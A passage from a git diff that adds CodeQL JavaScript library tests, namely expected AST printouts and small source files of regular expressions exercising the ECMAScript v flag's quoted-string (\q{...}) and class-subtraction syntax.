+| tst.js:1:1:1:13 | [ExprStmt] /[\\q{abc}]/v; | semmle.order | 1 |
+| tst.js:1:2:1:10 | [RegExpCharacterClass] [\\q{abc}] | semmle.label | [RegExpCharacterClass] [\\q{abc}] |
+| tst.js:1:3:1:9 | [RegExpQuotedString] \\q{abc} | semmle.label | [RegExpQuotedString] \\q{abc} |
+| tst.js:1:6:1:8 | [RegExpNormalConstant] abc | semmle.label | [RegExpNormalConstant] abc |
+| tst.js:2:1:2:20 | [RegExpLiteral] /[\\q{abc\|cbd\|dcb}]/v | semmle.label | [RegExpLiteral] /[\\q{abc\|cbd\|dcb}]/v |
+| tst.js:2:1:2:21 | [ExprStmt] /[\\q{ab ... cb}]/v; | semmle.label | [ExprStmt] /[\\q{ab ... cb}]/v; |
+| tst.js:2:1:2:21 | [ExprStmt] /[\\q{ab ... cb}]/v; | semmle.order | 2 |
+| tst.js:2:2:2:18 | [RegExpCharacterClass] [\\q{abc\|cbd\|dcb}] | semmle.label | [RegExpCharacterClass] [\\q{abc\|cbd\|dcb}] |
+| tst.js:2:3:2:17 | [RegExpQuotedString] \\q{abc\|cbd\|dcb} | semmle.label | [RegExpQuotedString] \\q{abc\|cbd\|dcb} |
+| tst.js:2:6:2:8 | [RegExpNormalConstant] abc | semmle.label | [RegExpNormalConstant] abc |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | semmle.label | [RegExpAlt] abc\|cbd\|dcb |
+| tst.js:2:10:2:12 | [RegExpNormalConstant] cbd | semmle.label | [RegExpNormalConstant] cbd |
+| tst.js:2:14:2:16 | [RegExpNormalConstant] dcb | semmle.label | [RegExpNormalConstant] dcb |
+| tst.js:3:1:3:11 | [RegExpLiteral] /[\\q{\\}}]/v | semmle.label | [RegExpLiteral] /[\\q{\\}}]/v |
+| tst.js:3:1:3:12 | [ExprStmt] /[\\q{\\}}]/v; | semmle.label | [ExprStmt] /[\\q{\\}}]/v; |
+| tst.js:3:1:3:12 | [ExprStmt] /[\\q{\\}}]/v; | semmle.order | 3 |
+| tst.js:3:2:3:9 | [RegExpCharacterClass] [\\q{\\}}] | semmle.label | [RegExpCharacterClass] [\\q{\\}}] |
+| tst.js:3:3:3:8 | [RegExpQuotedString] \\q{\\}} | semmle.label | [RegExpQuotedString] \\q{\\}} |
+| tst.js:3:6:3:7 | [RegExpNormalConstant] \\} | semmle.label | [RegExpNormalConstant] \\} |
+| tst.js:4:1:4:11 | [RegExpLiteral] /[\\q{\\{}]/v | semmle.label | [RegExpLiteral] /[\\q{\\{}]/v |
+| tst.js:4:1:4:12 | [ExprStmt] /[\\q{\\{}]/v; | semmle.label | [ExprStmt] /[\\q{\\{}]/v; |
+| tst.js:4:1:4:12 | [ExprStmt] /[\\q{\\{}]/v; | semmle.order | 4 |
+| tst.js:4:2:4:9 | [RegExpCharacterClass] [\\q{\\{}] | semmle.label | [RegExpCharacterClass] [\\q{\\{}] |
+| tst.js:4:3:4:8 | [RegExpQuotedString] \\q{\\{} | semmle.label | [RegExpQuotedString] \\q{\\{} |
+| tst.js:4:6:4:7 | [RegExpNormalConstant] \\{ | semmle.label | [RegExpNormalConstant] \\{ |
+| tst.js:5:1:5:18 | [RegExpLiteral] /[\\q{cc\|\\}a\|cc}]/v | semmle.label | [RegExpLiteral] /[\\q{cc\|\\}a\|cc}]/v |
+| tst.js:5:1:5:19 | [ExprStmt] /[\\q{cc\|\\}a\|cc}]/v; | semmle.label | [ExprStmt] /[\\q{cc\|\\}a\|cc}]/v; |
+| tst.js:5:1:5:19 | [ExprStmt] /[\\q{cc\|\\}a\|cc}]/v; | semmle.order | 5 |
+| tst.js:5:2:5:16 | [RegExpCharacterClass] [\\q{cc\|\\}a\|cc}] | semmle.label | [RegExpCharacterClass] [\\q{cc\|\\}a\|cc}] |
+| tst.js:5:3:5:15 | [RegExpQuotedString] \\q{cc\|\\}a\|cc} | semmle.label | [RegExpQuotedString] \\q{cc\|\\}a\|cc} |
+| tst.js:5:6:5:7 | [RegExpNormalConstant] cc | semmle.label | [RegExpNormalConstant] cc |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | semmle.label | [RegExpAlt] cc\|\\}a\|cc |
+| tst.js:5:9:5:11 | [RegExpNormalConstant] \\}a | semmle.label | [RegExpNormalConstant] \\}a |
+| tst.js:5:13:5:14 | [RegExpNormalConstant] cc | semmle.label | [RegExpNormalConstant] cc |
+| tst.js:6:1:6:12 | [RegExpLiteral] /[\\qq{a\|b}]/ | semmle.label | [RegExpLiteral] /[\\qq{a\|b}]/ |
+| tst.js:6:1:6:13 | [ExprStmt] /[\\qq{a\|b}]/; | semmle.label | [ExprStmt] /[\\qq{a\|b}]/; |
+| tst.js:6:1:6:13 | [ExprStmt] /[\\qq{a\|b}]/; | semmle.order | 6 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | semmle.label | [RegExpCharacterClass] [\\qq{a\|b}] |
+| tst.js:6:3:6:4 | [RegExpIdentityEscape] \\q | semmle.label | [RegExpIdentityEscape] \\q |
+| tst.js:6:5:6:5 | [RegExpNormalConstant] q | semmle.label | [RegExpNormalConstant] q |
+| tst.js:6:6:6:6 | [RegExpNormalConstant] { | semmle.label | [RegExpNormalConstant] { |
+| tst.js:6:7:6:7 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:6:8:6:8 | [RegExpNormalConstant] \| | semmle.label | [RegExpNormalConstant] \| |
+| tst.js:6:9:6:9 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:6:10:6:10 | [RegExpNormalConstant] } | semmle.label | [RegExpNormalConstant] } |
+edges
+| tst.js:1:1:1:12 | [RegExpLiteral] /[\\q{abc}]/v | tst.js:1:2:1:10 | [RegExpCharacterClass] [\\q{abc}] | semmle.label | 0 |
+| tst.js:1:1:1:12 | [RegExpLiteral] /[\\q{abc}]/v | tst.js:1:2:1:10 | [RegExpCharacterClass] [\\q{abc}] | semmle.order | 0 |
+| tst.js:1:1:1:13 | [ExprStmt] /[\\q{abc}]/v; | tst.js:1:1:1:12 | [RegExpLiteral] /[\\q{abc}]/v | semmle.label | 1 |
+| tst.js:1:1:1:13 | [ExprStmt] /[\\q{abc}]/v; | tst.js:1:1:1:12 | [RegExpLiteral] /[\\q{abc}]/v | semmle.order | 1 |
+| tst.js:1:2:1:10 | [RegExpCharacterClass] [\\q{abc}] | tst.js:1:3:1:9 | [RegExpQuotedString] \\q{abc} | semmle.label | 0 |
+| tst.js:1:2:1:10 | [RegExpCharacterClass] [\\q{abc}] | tst.js:1:3:1:9 | [RegExpQuotedString] \\q{abc} | semmle.order | 0 |
+| tst.js:1:3:1:9 | [RegExpQuotedString] \\q{abc} | tst.js:1:6:1:8 | [RegExpNormalConstant] abc | semmle.label | 0 |
+| tst.js:1:3:1:9 | [RegExpQuotedString] \\q{abc} | tst.js:1:6:1:8 | [RegExpNormalConstant] abc | semmle.order | 0 |
+| tst.js:2:1:2:20 | [RegExpLiteral] /[\\q{abc\|cbd\|dcb}]/v | tst.js:2:2:2:18 | [RegExpCharacterClass] [\\q{abc\|cbd\|dcb}] | semmle.label | 0 |
+| tst.js:2:1:2:20 | [RegExpLiteral] /[\\q{abc\|cbd\|dcb}]/v | tst.js:2:2:2:18 | [RegExpCharacterClass] [\\q{abc\|cbd\|dcb}] | semmle.order | 0 |
+| tst.js:2:1:2:21 | [ExprStmt] /[\\q{ab ... cb}]/v; | tst.js:2:1:2:20 | [RegExpLiteral] /[\\q{abc\|cbd\|dcb}]/v | semmle.label | 1 |
+| tst.js:2:1:2:21 | [ExprStmt] /[\\q{ab ... cb}]/v; | tst.js:2:1:2:20 | [RegExpLiteral] /[\\q{abc\|cbd\|dcb}]/v | semmle.order | 1 |
+| tst.js:2:2:2:18 | [RegExpCharacterClass] [\\q{abc\|cbd\|dcb}] | tst.js:2:3:2:17 | [RegExpQuotedString] \\q{abc\|cbd\|dcb} | semmle.label | 0 |
+| tst.js:2:2:2:18 | [RegExpCharacterClass] [\\q{abc\|cbd\|dcb}] | tst.js:2:3:2:17 | [RegExpQuotedString] \\q{abc\|cbd\|dcb} | semmle.order | 0 |
+| tst.js:2:3:2:17 | [RegExpQuotedString] \\q{abc\|cbd\|dcb} | tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | semmle.label | 0 |
+| tst.js:2:3:2:17 | [RegExpQuotedString] \\q{abc\|cbd\|dcb} | tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | semmle.order | 0 |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | tst.js:2:6:2:8 | [RegExpNormalConstant] abc | semmle.label | 0 |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | tst.js:2:6:2:8 | [RegExpNormalConstant] abc | semmle.order | 0 |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | tst.js:2:10:2:12 | [RegExpNormalConstant] cbd | semmle.label | 1 |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | tst.js:2:10:2:12 | [RegExpNormalConstant] cbd | semmle.order | 1 |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | tst.js:2:14:2:16 | [RegExpNormalConstant] dcb | semmle.label | 2 |
+| tst.js:2:6:2:16 | [RegExpAlt] abc\|cbd\|dcb | tst.js:2:14:2:16 | [RegExpNormalConstant] dcb | semmle.order | 2 |
+| tst.js:3:1:3:11 | [RegExpLiteral] /[\\q{\\}}]/v | tst.js:3:2:3:9 | [RegExpCharacterClass] [\\q{\\}}] | semmle.label | 0 |
+| tst.js:3:1:3:11 | [RegExpLiteral] /[\\q{\\}}]/v | tst.js:3:2:3:9 | [RegExpCharacterClass] [\\q{\\}}] | semmle.order | 0 |
+| tst.js:3:1:3:12 | [ExprStmt] /[\\q{\\}}]/v; | tst.js:3:1:3:11 | [RegExpLiteral] /[\\q{\\}}]/v | semmle.label | 1 |
+| tst.js:3:1:3:12 | [ExprStmt] /[\\q{\\}}]/v; | tst.js:3:1:3:11 | [RegExpLiteral] /[\\q{\\}}]/v | semmle.order | 1 |
+| tst.js:3:2:3:9 | [RegExpCharacterClass] [\\q{\\}}] | tst.js:3:3:3:8 | [RegExpQuotedString] \\q{\\}} | semmle.label | 0 |
+| tst.js:3:2:3:9 | [RegExpCharacterClass] [\\q{\\}}] | tst.js:3:3:3:8 | [RegExpQuotedString] \\q{\\}} | semmle.order | 0 |
+| tst.js:3:3:3:8 | [RegExpQuotedString] \\q{\\}} | tst.js:3:6:3:7 | [RegExpNormalConstant] \\} | semmle.label | 0 |
+| tst.js:3:3:3:8 | [RegExpQuotedString] \\q{\\}} | tst.js:3:6:3:7 | [RegExpNormalConstant] \\} | semmle.order | 0 |
+| tst.js:4:1:4:11 | [RegExpLiteral] /[\\q{\\{}]/v | tst.js:4:2:4:9 | [RegExpCharacterClass] [\\q{\\{}] | semmle.label | 0 |
+| tst.js:4:1:4:11 | [RegExpLiteral] /[\\q{\\{}]/v | tst.js:4:2:4:9 | [RegExpCharacterClass] [\\q{\\{}] | semmle.order | 0 |
+| tst.js:4:1:4:12 | [ExprStmt] /[\\q{\\{}]/v; | tst.js:4:1:4:11 | [RegExpLiteral] /[\\q{\\{}]/v | semmle.label | 1 |
+| tst.js:4:1:4:12 | [ExprStmt] /[\\q{\\{}]/v; | tst.js:4:1:4:11 | [RegExpLiteral] /[\\q{\\{}]/v | semmle.order | 1 |
+| tst.js:4:2:4:9 | [RegExpCharacterClass] [\\q{\\{}] | tst.js:4:3:4:8 | [RegExpQuotedString] \\q{\\{} | semmle.label | 0 |
+| tst.js:4:2:4:9 | [RegExpCharacterClass] [\\q{\\{}] | tst.js:4:3:4:8 | [RegExpQuotedString] \\q{\\{} | semmle.order | 0 |
+| tst.js:4:3:4:8 | [RegExpQuotedString] \\q{\\{} | tst.js:4:6:4:7 | [RegExpNormalConstant] \\{ | semmle.label | 0 |
+| tst.js:4:3:4:8 | [RegExpQuotedString] \\q{\\{} | tst.js:4:6:4:7 | [RegExpNormalConstant] \\{ | semmle.order | 0 |
+| tst.js:5:1:5:18 | [RegExpLiteral] /[\\q{cc\|\\}a\|cc}]/v | tst.js:5:2:5:16 | [RegExpCharacterClass] [\\q{cc\|\\}a\|cc}] | semmle.label | 0 |
+| tst.js:5:1:5:18 | [RegExpLiteral] /[\\q{cc\|\\}a\|cc}]/v | tst.js:5:2:5:16 | [RegExpCharacterClass] [\\q{cc\|\\}a\|cc}] | semmle.order | 0 |
+| tst.js:5:1:5:19 | [ExprStmt] /[\\q{cc\|\\}a\|cc}]/v; | tst.js:5:1:5:18 | [RegExpLiteral] /[\\q{cc\|\\}a\|cc}]/v | semmle.label | 1 |
+| tst.js:5:1:5:19 | [ExprStmt] /[\\q{cc\|\\}a\|cc}]/v; | tst.js:5:1:5:18 | [RegExpLiteral] /[\\q{cc\|\\}a\|cc}]/v | semmle.order | 1 |
+| tst.js:5:2:5:16 | [RegExpCharacterClass] [\\q{cc\|\\}a\|cc}] | tst.js:5:3:5:15 | [RegExpQuotedString] \\q{cc\|\\}a\|cc} | semmle.label | 0 |
+| tst.js:5:2:5:16 | [RegExpCharacterClass] [\\q{cc\|\\}a\|cc}] | tst.js:5:3:5:15 | [RegExpQuotedString] \\q{cc\|\\}a\|cc} | semmle.order | 0 |
+| tst.js:5:3:5:15 | [RegExpQuotedString] \\q{cc\|\\}a\|cc} | tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | semmle.label | 0 |
+| tst.js:5:3:5:15 | [RegExpQuotedString] \\q{cc\|\\}a\|cc} | tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | semmle.order | 0 |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | tst.js:5:6:5:7 | [RegExpNormalConstant] cc | semmle.label | 0 |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | tst.js:5:6:5:7 | [RegExpNormalConstant] cc | semmle.order | 0 |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | tst.js:5:9:5:11 | [RegExpNormalConstant] \\}a | semmle.label | 1 |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | tst.js:5:9:5:11 | [RegExpNormalConstant] \\}a | semmle.order | 1 |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | tst.js:5:13:5:14 | [RegExpNormalConstant] cc | semmle.label | 2 |
+| tst.js:5:6:5:14 | [RegExpAlt] cc\|\\}a\|cc | tst.js:5:13:5:14 | [RegExpNormalConstant] cc | semmle.order | 2 |
+| tst.js:6:1:6:12 | [RegExpLiteral] /[\\qq{a\|b}]/ | tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | semmle.label | 0 |
+| tst.js:6:1:6:12 | [RegExpLiteral] /[\\qq{a\|b}]/ | tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | semmle.order | 0 |
+| tst.js:6:1:6:13 | [ExprStmt] /[\\qq{a\|b}]/; | tst.js:6:1:6:12 | [RegExpLiteral] /[\\qq{a\|b}]/ | semmle.label | 1 |
+| tst.js:6:1:6:13 | [ExprStmt] /[\\qq{a\|b}]/; | tst.js:6:1:6:12 | [RegExpLiteral] /[\\qq{a\|b}]/ | semmle.order | 1 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:3:6:4 | [RegExpIdentityEscape] \\q | semmle.label | 0 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:3:6:4 | [RegExpIdentityEscape] \\q | semmle.order | 0 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:5:6:5 | [RegExpNormalConstant] q | semmle.label | 1 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:5:6:5 | [RegExpNormalConstant] q | semmle.order | 1 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:6:6:6 | [RegExpNormalConstant] { | semmle.label | 2 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:6:6:6 | [RegExpNormalConstant] { | semmle.order | 2 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:7:6:7 | [RegExpNormalConstant] a | semmle.label | 3 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:7:6:7 | [RegExpNormalConstant] a | semmle.order | 3 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:8:6:8 | [RegExpNormalConstant] \| | semmle.label | 4 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:8:6:8 | [RegExpNormalConstant] \| | semmle.order | 4 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:9:6:9 | [RegExpNormalConstant] b | semmle.label | 5 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:9:6:9 | [RegExpNormalConstant] b | semmle.order | 5 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:10:6:10 | [RegExpNormalConstant] } | semmle.label | 6 |
+| tst.js:6:2:6:11 | [RegExpCharacterClass] [\\qq{a\|b}] | tst.js:6:10:6:10 | [RegExpNormalConstant] } | semmle.order | 6 |
+graphProperties
+| semmle.graphKind | tree |
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/printAst.ql b/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/printAst.ql
new file mode 100644
index 000000000000..8ceaf83964a3
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/printAst.ql
@@ -0,0 +1 @@
+import semmle.javascript.PrintAst
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/tst.js b/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/tst.js
new file mode 100644
index 000000000000..37f010aacd48
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/tst.js
@@ -0,0 +1,6 @@
+/[\q{abc}]/v;
+/[\q{abc|cbd|dcb}]/v;
+/[\q{\}}]/v;
+/[\q{\{}]/v;
+/[\q{cc|\}a|cc}]/v;
+/[\qq{a|b}]/; // Since v flag is not present matches 'q{a|b}'
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/printAst.expected b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/printAst.expected
new file mode 100644
index 000000000000..d2e57f4c1c8e
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/printAst.expected
@@ -0,0 +1,103 @@
+nodes
+| tst.js:1:1:1:44 | [RegExpLiteral] /[\\p{Script_Extensions=Greek}--\\p{Letter}]/v | semmle.label | [RegExpLiteral] /[\\p{Script_Extensions=Greek}--\\p{Letter}]/v |
+| tst.js:1:1:1:45 | [ExprStmt] /[\\p{Sc ... er}]/v; | semmle.label | [ExprStmt] /[\\p{Sc ... er}]/v; |
+| tst.js:1:1:1:45 | [ExprStmt] /[\\p{Sc ... er}]/v; | semmle.order | 1 |
+| tst.js:1:2:1:42 | [RegExpCharacterClass] [\\p{Script_Extensions=Greek}--\\p{Letter}] | semmle.label | [RegExpCharacterClass] [\\p{Script_Extensions=Greek}--\\p{Letter}] |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | semmle.label | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] |
+| tst.js:1:3:1:29 | [RegExpUnicodePropertyEscape] \\p{Script_Extensions=Greek} | semmle.label | [RegExpUnicodePropertyEscape] \\p{Script_Extensions=Greek} |
+| tst.js:1:32:1:41 | [RegExpUnicodePropertyEscape] \\p{Letter} | semmle.label | [RegExpUnicodePropertyEscape] \\p{Letter} |
+| tst.js:2:1:2:17 | [RegExpLiteral] /[[abc]--[cbd]]/v | semmle.label | [RegExpLiteral] /[[abc]--[cbd]]/v |
+| tst.js:2:1:2:18 | [ExprStmt] /[[abc]--[cbd]]/v; | semmle.label | [ExprStmt] /[[abc]--[cbd]]/v; |
+| tst.js:2:1:2:18 | [ExprStmt] /[[abc]--[cbd]]/v; | semmle.order | 2 |
+| tst.js:2:2:2:15 | [RegExpCharacterClass] [[abc]--[cbd]] | semmle.label | [RegExpCharacterClass] [[abc]--[cbd]] |
+| tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | semmle.label | [RegExpSubtraction] [[abc]--[cbd]] |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | semmle.label | [RegExpCharacterClass] [abc] |
+| tst.js:2:4:2:4 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:2:5:2:5 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:2:6:2:6 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | semmle.label | [RegExpCharacterClass] [cbd] |
+| tst.js:2:11:2:11 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:2:12:2:12 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:2:13:2:13 | [RegExpNormalConstant] d | semmle.label | [RegExpNormalConstant] d |
+| tst.js:3:1:3:24 | [RegExpLiteral] /[[abc]--[cbd]--[bde]]/v | semmle.label | [RegExpLiteral] /[[abc]--[cbd]--[bde]]/v |
+| tst.js:3:1:3:25 | [ExprStmt] /[[abc] ... de]]/v; | semmle.label | [ExprStmt] /[[abc] ... de]]/v; |
+| tst.js:3:1:3:25 | [ExprStmt] /[[abc] ... de]]/v; | semmle.order | 3 |
+| tst.js:3:2:3:22 | [RegExpCharacterClass] [[abc]--[cbd]--[bde]] | semmle.label | [RegExpCharacterClass] [[abc]--[cbd]--[bde]] |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | semmle.label | [RegExpSubtraction] [[abc]--[cbd]--[bde]] |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | semmle.label | [RegExpCharacterClass] [abc] |
+| tst.js:3:4:3:4 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:3:5:3:5 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:3:6:3:6 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | semmle.label | [RegExpCharacterClass] [cbd] |
+| tst.js:3:11:3:11 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:3:12:3:12 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:3:13:3:13 | [RegExpNormalConstant] d | semmle.label | [RegExpNormalConstant] d |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | semmle.label | [RegExpCharacterClass] [bde] |
+| tst.js:3:18:3:18 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:3:19:3:19 | [RegExpNormalConstant] d | semmle.label | [RegExpNormalConstant] d |
+| tst.js:3:20:3:20 | [RegExpNormalConstant] e | semmle.label | [RegExpNormalConstant] e |
+edges
+| tst.js:1:1:1:44 | [RegExpLiteral] /[\\p{Script_Extensions=Greek}--\\p{Letter}]/v | tst.js:1:2:1:42 | [RegExpCharacterClass] [\\p{Script_Extensions=Greek}--\\p{Letter}] | semmle.label | 0 |
+| tst.js:1:1:1:44 | [RegExpLiteral] /[\\p{Script_Extensions=Greek}--\\p{Letter}]/v | tst.js:1:2:1:42 | [RegExpCharacterClass] [\\p{Script_Extensions=Greek}--\\p{Letter}] | semmle.order | 0 |
+| tst.js:1:1:1:45 | [ExprStmt] /[\\p{Sc ... er}]/v; | tst.js:1:1:1:44 | [RegExpLiteral] /[\\p{Script_Extensions=Greek}--\\p{Letter}]/v | semmle.label | 1 |
+| tst.js:1:1:1:45 | [ExprStmt] /[\\p{Sc ... er}]/v; | tst.js:1:1:1:44 | [RegExpLiteral] /[\\p{Script_Extensions=Greek}--\\p{Letter}]/v | semmle.order | 1 |
+| tst.js:1:2:1:42 | [RegExpCharacterClass] [\\p{Script_Extensions=Greek}--\\p{Letter}] | tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | semmle.label | 0 |
+| tst.js:1:2:1:42 | [RegExpCharacterClass] [\\p{Script_Extensions=Greek}--\\p{Letter}] | tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | semmle.order | 0 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | tst.js:1:3:1:29 | [RegExpUnicodePropertyEscape] \\p{Script_Extensions=Greek} | semmle.label | 0 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | tst.js:1:3:1:29 | [RegExpUnicodePropertyEscape] \\p{Script_Extensions=Greek} | semmle.order | 0 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | tst.js:1:32:1:41 | [RegExpUnicodePropertyEscape] \\p{Letter} | semmle.label | 1 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [\\p{Script_Extensions=Greek}--\\p{Letter}] | tst.js:1:32:1:41 | [RegExpUnicodePropertyEscape] \\p{Letter} | semmle.order | 1 |
+| tst.js:2:1:2:17 | [RegExpLiteral] /[[abc]--[cbd]]/v | tst.js:2:2:2:15 | [RegExpCharacterClass] [[abc]--[cbd]] | semmle.label | 0 |
+| tst.js:2:1:2:17 | [RegExpLiteral] /[[abc]--[cbd]]/v | tst.js:2:2:2:15 | [RegExpCharacterClass] [[abc]--[cbd]] | semmle.order | 0 |
+| tst.js:2:1:2:18 | [ExprStmt] /[[abc]--[cbd]]/v; | tst.js:2:1:2:17 | [RegExpLiteral] /[[abc]--[cbd]]/v | semmle.label | 1 |
+| tst.js:2:1:2:18 | [ExprStmt] /[[abc]--[cbd]]/v; | tst.js:2:1:2:17 | [RegExpLiteral] /[[abc]--[cbd]]/v | semmle.order | 1 |
+| tst.js:2:2:2:15 | [RegExpCharacterClass] [[abc]--[cbd]] | tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | semmle.label | 0 |
+| tst.js:2:2:2:15 | [RegExpCharacterClass] [[abc]--[cbd]] | tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | semmle.order | 0 |
+| tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | semmle.label | 0 |
+| tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | semmle.order | 0 |
+| tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | semmle.label | 1 |
+| tst.js:2:2:2:15 | [RegExpSubtraction] [[abc]--[cbd]] | tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | semmle.order | 1 |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | tst.js:2:4:2:4 | [RegExpNormalConstant] a | semmle.label | 0 |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | tst.js:2:4:2:4 | [RegExpNormalConstant] a | semmle.order | 0 |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | tst.js:2:5:2:5 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | tst.js:2:5:2:5 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | tst.js:2:6:2:6 | [RegExpNormalConstant] c | semmle.label | 2 |
+| tst.js:2:3:2:7 | [RegExpCharacterClass] [abc] | tst.js:2:6:2:6 | [RegExpNormalConstant] c | semmle.order | 2 |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | tst.js:2:11:2:11 | [RegExpNormalConstant] c | semmle.label | 0 |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | tst.js:2:11:2:11 | [RegExpNormalConstant] c | semmle.order | 0 |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | tst.js:2:12:2:12 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | tst.js:2:12:2:12 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | tst.js:2:13:2:13 | [RegExpNormalConstant] d | semmle.label | 2 |
+| tst.js:2:10:2:14 | [RegExpCharacterClass] [cbd] | tst.js:2:13:2:13 | [RegExpNormalConstant] d | semmle.order | 2 |
+| tst.js:3:1:3:24 | [RegExpLiteral] /[[abc]--[cbd]--[bde]]/v | tst.js:3:2:3:22 | [RegExpCharacterClass] [[abc]--[cbd]--[bde]] | semmle.label | 0 |
